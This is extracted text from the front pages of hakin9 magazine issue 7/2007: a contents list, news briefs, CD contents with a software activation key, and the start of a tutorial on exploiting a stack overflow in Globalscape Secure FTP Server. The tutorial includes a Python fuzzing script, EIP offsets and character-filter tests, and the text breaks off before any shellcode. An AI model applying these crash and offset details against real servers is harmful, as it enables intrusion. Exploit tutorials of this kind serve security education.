background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 7/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawia  garść  najciekawszych  wiadomości  ze 

świata  bezpieczeństwa  systemów  informatycznych 

i nie tylko.

Zawartość CD

8

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live

Atak

Hakowanie serwera FTP

12

Mati Aharoni

Mati pokazuje nam jak napisać praktyczny exploit oraz 

jakimi ciekawymi metodami można wykorzystać luki.

PHPsh – dostęp do shell’a

20

Piotr Nowak

Piotr pokazuje jak uzyskać dostęp do shella na ser-

werze, który nie jest wyposażony w tą usługę.

Metody rozprzestrzeniania 

się botnetów

24

Dawid Gołuński, Krzysztof Kułaj

Dawid i Krzysztof wyjaśniają na jakiej zasadzie dzia-

łają boty (metody infekcji, ukrywanie się w systemie), 

jak analizować skomplikowane boty, oraz jakie zagro-

żenia są związane z sieciami botnet.

Obrona

Bezpieczne aplikacje Web 

w oparciu o ASP.NET2.0

32

Artur Żarski

Artur  przedstawia  dostępne  technologie  platfor-

my  .NET,  dzięki  którym  aplikacje  WEB  mogą  stać 

się bezpieczniejsze. Pokazane są aspekty, na które 

należy zwrócić uwagę przy tworzeniu i konfigurowa-

niu całego środowiska aplikacji.

Windows 2003 Server – audyt GPO

40

Piotr Błaszczeć, Tadeusz Calanca

Piotr i Tadeusz wyjaśnią pojęcia i terminy związane z 

GPO. Jaki wpływ na bezpieczeństwo mają GPO oraz 

jak szybko audytować struktury GPO.

Inwigilacja w pracy

46

Krzysztof Marzec

Krzysztof  przedstawia  w  swoim  artykule  czym  jest 

inwigilacja oraz jakie są jej metody.

Witamy!

Lato  w  pełni  i  mamy  nadzieję,  że  nasi  czytelnicy  podczas 

swoich urlopów nie zapomną o nas i zakupią lipcowy numer 

hakin9 – jak się obronić.

Gorąco polecamy artykuł z działu atak: Praktyczny exploit 

z podwójnym adresem powrotnym. Kontynuujemy ciekawy 

temat jakim jest inwigilacja w pracy, w artykule Krzysztofa 

Marca pt.: Twój komputer donosicielem – inwigilacja w pracy 

dowiecie się czegoś więcej o podglądaniu w pracy... Zapra-

szam także do przeczytania artykułu o steganografii autor-

stwa Cezarego Cerekwickiego. Na płycie CD dołączonej do 

pisma tym razem nasi czytelnicy będą mogli znaleźć nowy 

tutorial do artykułu z hakin9 6/2007, a mianowicie Zaciem-

nianie kodu Artura Żarskiego oraz wiele ciekawych progra-

mów. Do użytku udostępniamy Państwu: Ashampoo Magic-

Security  2007,  Ashampoo  Firewall  Pro,  BinarySec,  Vip 

defense, Anyplace Control, Multimedia Protector oraz Panda 

Internet Security 2007.

Pozdrawiamy i życzymy miłej lektury!

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 7/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Zagrożenia socjotechniczne 

a bezpieczeństwo informacji

50

Andrzej Guzik

Andrzej w swoim artykule charakteryzuje czym jest cykl 

socjotechniczny  i  jakie  są  typowe  metody  socjotech-

niczne. Nauczymy się jak zapobiegać takim atakom.

Techniki zapobiegania – reverse

engineering

54

Michał Bućko

Z artykułu dowiesz się o najpopularniejszych techni-

kach wymierzonych przeciwko debugowaniu i inżynie-

rii wstecznej stosowanej przez twórców malware'u.

Narzędzia

NOD32 – przyjazny antywirus

58

Początki

Fuzzing

60

Paul Sebastian Ziegler

Paul przybliża nam pojęcie fuzzingu. Artykuł pokazu-

je jak napisać swój własny fuzzer i jak go praktycznie 

wykorzystać.

Steganografia

74

Cezary Cerekwicki

Cezary wyjaśni nam na czym polega steganografia, 

jakimi  techniakmi  posługiwano  się  w  przeszłości,  a 

jakimi współcześnie.

Felieton

Bezpieczeństwo na szybkiego

78

Patryk Szlagowski

Klub Techniczny

MPP – Message Partners

79

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: 
Sylwia Pogroszewska

Redaktor naczelny: Martyna Żaczek 

martyna.zaczek@software.com.pl 

Redaktor prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Marek Szuba, Piotr Żuk

Wyróżnieni betatesterzy: Amadeusz Jasak, Konrad Parafiańczuk,

Rafał Podsiadły

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 7/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 7/2007

Animowane kursory 

zagrażają Windows

W systemie Microsoft Windows 

znaleziono nowy poważny błąd, 

jaki związany jest z przetwarza-

niem plików, w których zapisywa-

ne są animowane kursory. Problem 

wynika z przepełnienia bufora pod-

czas przetwarzania pliku animowa-

nego kursora (.ani). W wyniku prze-

pełnienia może dojść do urucho-

mienia dowolnego kodu na maszy-

nie ofiary. Luka dotyczy niemal 

całej rodziny Windows - od 98 

poczynając, na Windows Vista koń-

cząc. Poprawka jest już dostępna 

w Windows Update, a oznaczona 

jest numerem MS07-017. Więcej 

informacji na jej temat można 

zasięgnąć na stronie Microsoft: 

http://www.microsoft.com/technet/

security/Bulletin/MS07-017.mspx

Dziury w NAC

Specjaliści z Niemieckiej firmy 

ERNW GmBH odkryli dwie dziury 

w oprogramowaniu NAC (Ne-

twork Admission Control) opra-

cowanym przez Cisco. Błędy te 

można wykorzystać do atakowa-

nia sieci LAN. Michael Thumann 

i Dror-John Roecher zademon-

strowali na konferencji Black Hat 

w Amsterdamie narzędzie, które 

wykorzystuje odkryte przez nich 

dziury. Odkryte błędy pozwalają tak 

oszukać serwer ACS, jaki weryfiku-

je stan klientów, iż dostęp do Sieci 

może uzyskać nieuprawniony do 

tego komputer. Dzięki tym dziurom 

napastnik może wysłać do serwe-

ra ACS nieprawdziwe informacje, 

posługując się technologią spoofin-

gu (podstawiając inny komputer w 

miejsce oryginalnego).

Czy będzie domena .safe?

Firma F-Secure proponuje utwo-

rzenie nowej domeny global-

nej: .safe, z której mogłyby korzy-

stać wyłącznie zarejestrowane 

instytucje finansowe. Rejestra-

cja nazwy w takiej domenie obwa-

rowana byłaby szeregiem ograni-

czeń, uniemożliwiających rejestra-

cję domeny dla celów działalności 

przestępczej. Oczywiście propo-

nowana domena nie zapewniała-

by pełnej ochrony przed oszustami 

– ale pomogłaby podnieść poziom 

bezpieczeństwa. Użytkownik Inter-

netu, wchodząc na stronę o dome-

nie .safe, miałby pewność, że za 

witryną kryje się prawdziwa instytu-

cja finansowa.

Polska trzecim spamerem świata

S

ophos  opublikował  raport  doty-
czący największych spamerów w 

pierwszym kwartale 2007 roku. Spe-
cjaliści z firmy SophosLabs skanowa-
li spam e-mail, który łapany na całym 
świecie jest w tzw. spam traps. Na tej 
podstawie specjaliści utworzyli staty-
styki, z których wynika, że Polska zaj-
muje  trzecią  pozycję  w  zestawieniu, 
niechlubnie przoduje USA z wskaźni-
kiem 19.8%. Po raz pierwszy na liście 
dwunastu krajów znalazły się Indie.

Dwunastu największych spamerów 

to: USA (19,8%), Chiny (7,5%), Polska 
(7,4%), Korea Płd (7%), Włochy (5%), 
Francja  (4,1%),  Niemcy  (3,7%),  Hisz-

pania  (3,5%),  Brazylia  (3,1%),  Rosja 
(3%), Indie (2,8%), Tajwan (2,5%).

Chiny,  które  zawsze  dorównywa-

ły  USA,  dramatycznie  spadły  w  tym 

kwartale.  Polska,  z  drugiej  strony, 

wysyła coraz więcej spamu i znalazła 

się na trzeciej pozycji. Fakt, że Polska 

jest niewątpliwie mniejszym krajem niż 

Rosja, Indie, Chiny czy USA, sugeruje, 

że Polacy powinni bliżej przyjrzeć się 

bezpieczeństwu  swoich  komputerów. 

Polskie  władze  powinny  edukować 

użytkowników w kwestii odpowiedzial-

ności za swoje komputery - powiedział 
Carole  Theriault,  starszy  konsultant 
bezpieczeństwa w Sophos.

Google we Wrocławiu

C

entrum  innowacji/usług  inter-
netowego  giganta  z  Mountain 

View powstanie we Wrocławiu. Ośro-
dek będzie znacznie większy od kra-
kowskiego  i  będzie  drugim,  co  do 
wielkości centrum Google w Europie 
-  największym  pozostanie  oddział  w 
Dublinie.  Kolejna  inwestycja  Google 
w  Polsce  jest  m.in.  zasługą  naszych 
informatyków, którzy od lat na całym 
świecie wygrywają renomowane kon-
kursy dla programistów. W podobnych 
centrach  badawczo-rozwojowych  na 
całym  świecie  powstają  aplikacje,  z 
których  korzystają  miliony  internau-
tów.  Firma  Google  została  założona 
w  1998  roku  przez  dwóch  doktoran-
tów  Uniwersytetu  Stanforda,  Larry'e-
go Page'a i Sergeya Brina. Flagowymi 
usługami firmy są internetowa wyszu-

kiwarka Google oraz serwisy reklamo-
we AdWords oraz AdSense, które sta-
nowią główne źródło dochodów firmy. 
Google zatrudnia ponad 10,000 pra-
cowników w kilkunastu krajach, wyka-
zuje przychody na poziomie 10 miliar-
dów i zyski rzędu 3 miliardów dolarów 
rocznie. Główna siedziba firmy mieści 
się w Mountain View, hrabstwo Santa 
Clara, w Kalifornii, w USA

Rysunek 1. 

Google we Wrocławiu

Coraz więcej indywidualnego spamu

danych  przedstawionych  przez 
firmę  MessageLabs  wynika,  że 

dziesięciokrotnie zwiększyła się liczba 
ataków,  polegających  na  wysyłaniu 
niechcianych  listów  e-mail  zawiera-
jących  złośliwe  oprogramowanie  do 
pojedynczych osób. Ataki takie pole-
gają na wysyłaniu e-maili do konkret-
nego internauty i skierowane są głów-
nie  przeciwko  pracownikowi  określo-

nej  instytucji,  który  posiada  dostęp 
do  ważnych  informacji.  Niechciane 
wiadomości e-mail zawierają głównie 
cały  zestaw  niebezpiecznego  opro-
gramowania: trojany, wirusy, exploity, 
które umożliwiają wykradanie danych. 
Ta  metoda  przeprowadzania  ataku 
jest  bardzo  skuteczna  i  wielu  prze-
stępców  całymi  miesiącami  korzysta 
z tych samych exploitów.

background image

W skrócie

hakin9 Nr 7/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 7/2007

Niebezpieczna luka 

w DNS Microsoftu

W usłudze DNS wykryto poważ-

ną lukę, która pozwala na wykony-

wanie nieautoryzowanego kodu. 

Nowoodkryta luka została zloka-

lizowana w systemach Windows 

2000 Server SP4, Windows Server 

2003 SP1 oraz Windows Server 

2003 SP2. Windows 2000 Pro-

fessional SP4, Windows XP SP2 i 

Windows Vista nie są narażone na 

atak. Firma McAfee poinformowa-

ła o nowej wersji szkodnika Rinbot, 

która przeszukuje Sieć w poszu-

kiwaniu systemów podatnych na 

atak. Christopher Budd z Microsoft 

napisał na swoim blogu, że prace 

nad aktualizacją trwają 24 godzi-

ny na dobę i aktualizacja powin-

na ukazać się 8 maja, czyli zgodnie 

z harmonogramem udostępniania 

łatek. Microsoft tymczasem zapro-

ponował wyłączenie zdalnego 

zarządzania protokołem wykony-

wania procedur PRC przez modyfi-

kację rejestru, można też zabloko-

wać porty 1024 do 5000.

Haker przyłapany na wła-

mywaniu się do serwera

27 marca informatycy Universi-

ty of California w San Francisco 

zapobiegli poważnemu włama-

niu. Czujni technicy zauważyli, że 

ktoś próbuje włamać się do serwe-

ra zawierającego ważne informa-

cje dotyczące pracowników i stu-

dentów uczelni (46 000 osób) Spe-

cjalista Randy Lopez pracujący 

jako główny informatyk na uczel-

ni, zauważył, że serwer działa wol-

niej niż zazwyczaj i wszczął śledz-

two. Na serwerze przechowywane 

były informacje odnośnie listy płac 

pracowników uczelni oraz pomocy 

finansowej dla studentów, które 

mogły zostać wykorzystane przez 

hakera do kradzieży tożsamo-

ści. Wszystkie informacje zawar-

te na komputerze nie były zaszy-

frowane, gdyż uznano, że serwer 

jest dobrze zabezpieczony przez 

zapory ogniowe.

Linux zagrożony 

przez Wi-Fi

W linuksowym sterowniku chipse-

tów Wi-Fi Atherosa wykryto poważ-

ny błąd, który może pozwolić 

napastnikowi na przejęcie kontroli 

nad notebookiem nawet wtedy, gdy 

nie jest on podłączony do bezprze-

wodowej sieci.  

Pierwsza groźna luka w Viście

programie  Windows  Mail, 
następcy  Outlook  Express, 

odkryto poważną dziurę, która może 
doprowadzić  do  uruchomienia  kodu 
bez  informowania  o  tym  użytkowni-
ka. Wykorzystanie luki przez ataku-
jącego nie jest łatwe. Kod musi uru-
chomić użytkownik, klikając na przy-
gotowany przez atakującego link, ist-
nieją jednak poważne ograniczenia, 
co do lokacji i nazwy możliwego do 
uruchomienia  w  ten  sposób  opro-
gramowania.  Kod  możliwy  do  uru-
chomienia  z  wykorzystaniem  luki 
w  Windows  Mail  musi  mieć  formę 
pliku  wykonalnego  nazwanego  tak 
samo jak katalog, w którym się znaj-
duje,  np. 

winrm.cmd

  ulokowany  w  C:

/windows/system32/winrm.  Podat-
ność na tego typu atak potwierdzo-
no  przez  testy  w  różnych  wersjach 

Windows Vista (Ultimate, Home Pre-

mium, Home Basic, Enterprise, Busi-

ness).

Rysunek 2. 

Pierwsza groźna luka 

w Viście

Bezpieczne programowanie

P

restiżowa  organizacja  amery-
kańska  zrzeszająca  eksper-

tów  ds.  bezpieczeństwa  sieciowego 
(SANS Institute) uruchomiła program 
oceny  i  certyfikacji  programistów 
pod  kątem  znajomości  zasad  bez-
piecznego  programowania.  Począt-
kowo  dostępne  będą  cztery  wersje 
egzaminów, które będą obejmowały 
programowanie  w  językach  C/C++, 
Java/J2EE, Perl/PHP oraz .Net/ASP. 
Egzaminy sprawdzają jedynie znajo-

mość podstawowej wiedzy dotyczą-
cej  zabezpieczeń  i  dobrych  zasad 
programowania,  nie  wymagają  one 
znajomości  zaawansowanych  tech-
nologii  bezpieczeństwa.  W  teście 
możemy  choćby  spotkać  przykła-
dy  realnego  kodu,  w  którym  należy 
wskazać potencjalne niebezpieczeń-
stwo.  Pierwsze  egzaminy  odbędą 
się  w  sierpniu  w  Waszyngtonie.  Ich 
zasięg ma się później rozszerzyć na 
inne regiony świata, w tym Europę.

Gary McKinnon zostanie wydany władzom USA

B

rytyjski  haker  Gary  McKinnon 
przegrał  w  londyńskim  sądzie 

sprawę, w której sprzeciwiał się eks-
tradycji  do  Stanów  Zjednoczonych, 
gdzie  ma  być  sądzony  za  dokona-
nie największego militarnego włama-

nia komputerowego wszech czasów. 
Podczas rozprawy w Sądzie Najwyż-
szym  adwokaci  McKinnona  wyrazi-
li  obawy  przed  surowym  wyrokiem, 
jaki  amerykański  sąd  może  wymie-
rzyć  brytyjskiemu  hakerowi  –  grozi 
mu  tam  bowiem  do  45  lat  więzie-

nia,  mimo  to  jego  apelacja  zosta-
ła  odrzucona.  40-letni  bezrobotny 
londyński  administrator  komputero-
wy  jest  oskarżony  o  włamanie  do 
97 amerykańskich komputerów woj-
skowych i NASA w 2001 i 2002. Sieć 
komputerowa,  do  której  się  włamał, 
obejmuje  sieć  NASA,  Armii  Stanów 
Zjednoczonych,  US  Navy,  Departa-
ment  Obrony  USA,  Siły  Powietrzne 
Stanów  Zjednoczonych  oraz  jeden 
komputer należący do Pentagonu.

Mateusz Stępień

background image

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

8

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

9

N

a dołączonej do pisma płycie znajduje się haki-

n9.live (h9l) w wersji 4.0.0 on BackTrack2.0, za-
wierająca  przydatne  narzędzia,  dokumentację, 

tutoriale i materiały dodatkowe do artykułów. Aby zacząć 
pracę z hakin9.live, wystarczy uruchomić komputer z CD. 
Po  uruchomieniu  systemu  możemy  zalogować  się  jako 
użytkownik hakin9 bez podawania hasła.

Materiały dodatkowe zostały 

umieszczone w następujących 

katalogach:

•   Jeden nowy tutorial do artykułu: Zaciemnianie kodu 

programu,

•   hakin9.live 4.0.0. on BackTrack2.0

Programy:

•   Ashampoo Firewall Pro,
•   Ashampoo Magical Security,
•   BinarySec,
•   VIPdefence,
•   Anyplace Control,
•   Multimedia Protector,
•   Panda Internet Security 2007.

Żeby uruchomić swój komputer z płyty hakin9.live, ustaw 
swój BIOS na bootowanie z napędu CD-ROM. Po doko-
nanych zmianach uruchom ponownie komputer. Urucho-
mi się dystrybucja hakin.live, na której możesz przećwi-
czyć  techniki  prezentowane  w  tutorialach.  Upewnij  się 
Drogi  Czytelniku  czy  sprawdziłeś  desktopowe  foldery 
–  zawierają  wiele  dodatkowych  materiałów.  Zawartość 
CD można również przejrzeć w systemie Windows.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (strona manualna), z których skorzystać 
możemy  poprzez  konsolę  wydając  polecenie  man  [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane  przez  redakcję.  Na  CD  opracowane  zosta-
ły praktyczne ćwiczenia do artykułu – Zaciemnianie ko-

du programu. Zakładamy, że podczas wykonywania ćwi-
czeń  związanych  z  artykułami  i  tutorialami,  użytkownik 
korzysta z hakin9.live

Ashampoo Firewall Pro

Zapora sieciowa, która jest niezbędna dla każdego użyt-
kownika Internetu, chcącego chronić swoją prywatność. 
Wszystko co wychodzi i wchodzi do komputera jest spraw-
dzane, ataki hakerów blokowane, a nieautoryzowane wyj-

Zawartość CD

ścia  z  naszego  komputera  do  Internetu  zatrzymywane. 
Mimo tak mocno rozbudowanych zabezpieczeń, porusza-
nie po interface jest intuicyjne, a sama aplikacja nie zaj-
muje dużej ilości pamięci operacyjnej (pełna wersja).

Ashampoo Magical Security

Oprogramowanie służy do szyfrowania danych i ochrony 
informacji na naszej stacji roboczej. W przeciwieństwie 
do innych aplikacji z tego sektora nie jest skomplikowa-
ny  w  użyciu.  Jest  to  następca  Ashampoo  Privacy  Pro-
tector, wykrzystujący szyfrowanie Advanced Encryption 

Standard i po za szyfrowaniem umożliwia twałe usuwa-
nie plików z dysków. Dodatkowymi przydatnymi funkcjami 
są: opcja nagrywania cd bezpośrednio za pomocą AMS, 
oraz  zapisywanie  kodowanych  plików  w  formacie  EXE. 

Rysunek 2. 

Zrzut strony Anyplace Control

Rysunek 1. 

Panda Internet Security 2007

background image

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

8

hakin9.live

hakin9 Nr 7/2007

www.hakin9.org

9

Umożliwia  to  otwarcie  kodowanego  pliku  znając  hasło, 
bez specjalnego oprogramowania.

BinarySec

Jest to inteligenta aplikacja web'owa typu firewall, stwo-
rzona do tłumienia złośliwego ruchu na stronach i w apli-
kacjach  internetowych.  Śledzi  normalny  ruch  i  blokuje 
złośliwe  rządania  z  wysoką  precyzją.  BinarySec  chroni 
przed szerokim wachalrzem ataków, łącznie z cross-site 

scripting (XSS), SQL injection, command injection, PHP 

includes, parameter tampering, buffer overflow, directory 

traversal. Aplikacja posiada graficzny, przyjazny w obsłu-
dze instalator i panel administracyjny przez przeglądarkę 
interentową. Wykorzystuje 128 MB pamięci ram i ok 2% 
CPU (wersja na 6 miesięcy).

Wskazówki do instalacji:

•   ściągnąć oprogramowanie z serwera
•   przekształcić plik tak aby był wykonywalny – chmo-

d=x <nazwa pliku>

•   wywołać instalację – ./ <nazwa pliku>

VIP defence

Oprogramowanie  dzielące  się  na  VIP  Anonymity  i  VIP 
Privacy zapewniające nam anonimowość oraz uniemoż-
liwiające internetowym złodziejom kradzież danych. 

VIP Anonymity uniewidacznia twój adres IP, po przez 

skierowanie  go  do  anonimowego  serwera  proxy.  Pod-
czas serfowania po Sieci informacje o nas są ukrywane 
i czyszczone. 

VIP  Privacy  umożliwia  wyszukiwanie  i  czyszczenie 

wszystkich informacji o nas przechowywanych w syste-
mie, czy zainstalowanych aplikacjach. W żaden sposób 
nie zmienia, ani nie kasuje prywatnych dokumentów. VIP 
Privacy zna 700 aplikacji i kilka tysięcy dziur przez które 
mogą zostać wykradzione nasze dane.

Anyplace Control

Zdalnie  sterowany  program,  mogący  wyświetlać  obraz 
innego  komputera  na  naszej  stacji  roboczej.  Za  pomo-
cą naszej myszki i klawiatury możemy kontrolować inny 
komputer z jakiegokolwiek miejsca na świecie. Posługi-
wanie się programem jest łatwe i szybkie, możesz zapo-
mnieć że pracujesz na zdalnej maszynie (pełna wersja).

kod aktywujący: 

04QDqGYY3T+ErL1HGIGZ9CQCv1ArqR
eWZeHPEElMGjYuHFuYuodFEhVEiI5n
ffdczFPAE7uspnJhqSSt/p2bTPN2Hf
j64m3TomLKBpUujLjCrwibXE0OW/ip
b8yIfKX8+PW2+TE94+NzuJQ/A9x26y
wZ7cjLSu4bJCNisgJaeDDY=

Multimedia Protector

Narzędzie  służące  do  zabezpieczania  pilków  audio,  vi-
deo, obrazów, PDF, czy dokumentów tekstowych. Każdy 
drukowany dokument jest chroniony. Nawet podczas od-
tważania pliki są chronione. Nie jest to chwilowo przecho-

wywane na dysku twardym, tylko na tak jakby wirtualnym 
dysku w pamięci komputera. Do wyboru mamy 10 jezy-
ków (wersja 120 dniowa).

Panda Internet Security 2007

W  najnowszym  oprogramowaniu  Pandy,  główny  nacisk 
położono  na  zabezpieczenie  takich  danych  jak,  dane 
osobowe, numery kart kredytowych, czy hasła do logo-
wania. Dzięki niemu nasze osobiste dane będą chronio-
ne przed internetowymi złodziejami i złośliwymi progra-
mami. W nowej wersji PIS 2007 rozbudowano technolo-
gię TruPrevent odpowiedialną za analizę behawioralną, 
o składnik Genetic Heuristic Engine. Będzie on odpowie-
dzialny za skanowanie profilu genetycznego pliku. Po za 
wspomnianą wyżej technologia aplikacja zawiera wbudo-
wane takie nażędzia jak: firewall, antivirus, Antispyware/
AntiAdware,  moduł  blokowania  niebezpiecznych  stron  i 
moduł ochrony rodzicielskiej (wersja na 3 miesiące).

Rysunek 3. 

Interfejs programu 

Rysunek 4. 

Panel administracyjny 

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

12

Atak

2005  roku  byłem  zaangażowany  w 
Pen  Test  dużej  firmy  ubezpiecze-
niowej (Ofiara). Celem pentestu by-

ła próba penetracji strefy DMZ i uzyskania do-
stępu administracyjnego na jednej z maszyn w 
tej strefie. Po długim procesie zbierania infor-
macji odkryłem, że ofiara korzystała z serwera 

Globalscape Secure FTP, na jednej z maszyn 
w strefie DMZ.

Postanowiłem poprowadzić atak w tym kie-

runku i ściągnąłem identyczną wersję Global-

scape Secure FTP Server (GSFTPS) na moją 
lokalną  maszynę  testową.  Miałem  nadzieję 
znaleźć  błąd  w  serwerze  i  może  napisać  dla 
niego exploit. Nie miałem pojęcia, że będzie to 
jedno z najbardziej interesujących przepełnień 
stosu, z jakimi miałem do czynienia.

Szybko przygotowałem złożony z 20 linijek 

FTP  Fuzzer  w  Pythonie  (który  wstyd  mi  po-
kazać!)  i  pozwoliłem  mu  działać  na  lokalnym 
serwerze  GSFTPS.  O  dwie  kawy  i  jednego 
papierosa później OllyDBG rozbłysnął na żółto 
wskazując, że wystąpił wyjątek.

Problem

Spoglądając na Olly byłem zachwycony – wy-
glądało to podobnie jak vanilla stack overflow, 

z bezpośrednią kontrolą EIP. Takie scenariusze 
są często wykorzystywane, ponieważ przekie-
rowanie strumienia wykonawczego jest prawie 
pewne.  Dodatkowo,  wyglądało  na  to,  że  wy-
korzystanie tej luki będzie trywialne, bo ECX, 
ESP  i  ESI  wskazywały  na  adresy  w  pamięci, 
zawierające  dane  wejściowe  naszego  użyt-
kownika.

Spojrzałem na mój fuzzer i zobaczyłem, że 

nielegalne  polecenie  mogłoby  zostać  repliko-
wane przez skrypt Pythona. Zobacz Listing 1.

Hakowanie 

serwera FTP

Mati Aharoni

stopień trudności

Uwielbiam przepełnienia. Za każdym razem, kiedy pracuję nad 

jednym z nich czuję się jak w Matrixie naginając zasady systemu, 

żeby zrobić coś po swojemu... W tym artykule krok po kroku 

napiszemy praktyczny exploit z podwójnym adresem powrotnym 

dla podatnego na ataki serwera FTP.

Z artykułu dowiesz się

•   interesującej metody wykorzystywania luk,
•   że przepełnienia bufora to zabawa!

Co powinieneś wiedzieć

•   warunki przepełnienia stosu (win32),
•   podstawowa znajomość przepełnienia SEH,
•   podstawowa znajomość OllyDBG,
•   wspomniane aplikacje można znaleźć pod tym 

adresem : http://www.offensive-security.com/
gsftps.exe.

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

13

Nadużycie EIP

Następnym  krokiem  było  określenie 
bajtów  do  nadpisania  EIP,  w  celu 

przejęcia  kontroli  nad  strumieniem 
wykonawczym  GSFTPS  w  czasie 
przepełnienia.

Istnieje kilka metod, aby to zrobić, 

a jedne są nudniejsze od drugich. Ja 
wybrałem wysłanie unikalnego strin-
ga  3000  bajtów  tak,  aby  nadpisać 
EIP łatwo rozpoznawalnymi bajtami.

Przesłanie  tych  bajtów  zamiast 

3000 znaków A spowodowało nastę-
pujący crash. Zobacz Rysunek 2.

Widzimy, że EIP został nadpisany 

przez string 

\x43\x51\x31\x43

, który jest 

równoznaczny  z  CQ1C.  Szukamy  tej 
sekwencji bajtów w naszym buforze… 
i nie znajdujemy jej. Znajdujemy jednak 

Cq1C. Zauważmy, że nasze oryginal-
ne  duże  Q  zostało  zastąpione  przez 
małe  q.  Bardzo  podejrzane.  Może  to 
znaczyć, że GSFTPS manipuluje jakoś 
stringami  w  momencie  otrzymywania 
zapytań i zamienia niektóre duże litery 
na małe. Niebawem to zbadamy.

Identyfikujemy te 4 bajty (Cq1C) 

w  naszym  buforze  i  widzimy,  że 
znajdują się one na pozycjach 2044 
-2047 w stringu.

Widzimy również, że ESP wska-

zuje  na  adres,  który  zawiera  string 
pochodzący od użytkownika – 3cq4 
oraz, że bajty te rozpoczynają się na 
2052 pozycji offsetu naszego bufora 
3000 bajtów.

Obejście 

filtrowania znaków

Niektóre aplikacje filtrują lub zmieniają 
strumień danych, który odbierają. Aby 
nasz exploit działał, musimy sprawić, 
by żadna część naszego shellcode'u 
(lub  cały  bufor  w  tym  wypadku)  nie 

Rysunek 2. 

Crash z unikalnym buforem 3000 bajtów

Rysunek 1. 

Wstępny crash

Listing 1. 

Skrypt Pythona

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

time

buffer

 

=

 '\

x41

'

*

3000

   

s

=

socket

.

socket

(

socket

.

AF_INET

,

     

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

   

((

'

192.168

.

0.100

',

21

))

   

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

 

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

Rysunek 3. 

Przekonwertowane znaki

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

14

została  zmieniona  przez  aplikację. 
Możemy  sprawdzić  filtrowanie  zna-
ków  przesyłając  różne  znaki  ASCII 
jako  nasz  shellcode,  a  następnie 
prześledzić w programie uruchomie-
niowym, czy cokolwiek zostało zmie-
nione. Wysyłamy następujący bufor:

buffer = '\x41'*2137 +
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ
      abcdefghijklmnopqrstuvwxyz"
         + '\xCC'*811

Przyglądamy  się  temu,  jak  jest  on 
zapisany  w  pamięci  i  uzyskujemy 
potwierdzenie naszych podejrzeń co 
do filtrowania znaków. Zauważmy, że 
znaki  pisane  małą  czcionką  zostały 
zamienione na pisane dużą!

To oznacza, że nie możemy mieć 

